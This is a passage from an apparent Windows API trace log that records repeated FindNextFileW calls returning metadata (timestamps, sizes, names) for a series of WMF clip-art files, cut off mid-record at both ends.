ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0250.897] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1 [0250.897] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1 [0250.897] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1 [0250.897] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1 [0250.897] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105638.WMF", cAlternateFileName="")) returned 1 [0250.898] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105710.WMF", cAlternateFileName="")) returned 1 [0250.898] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0250.898] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0250.898] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0250.899] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0250.899] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0250.899] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0250.899] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0250.899] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0251.693] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0251.693] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0251.693] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0251.693] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0251.693] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0251.694] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0251.694] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0251.694] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0251.694] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0251.694] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0251.695] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0251.695] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0251.695] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0251.695] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0251.695] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0251.696] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0251.696] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0251.696] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0251.696] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0251.696] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0251.697] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1 [0251.697] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0251.697] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0251.697] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0251.697] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0251.697] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0251.698] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1 [0251.698] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1 [0251.698] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1 [0251.698] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1 [0251.698] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1 [0251.699] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1 [0251.699] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, 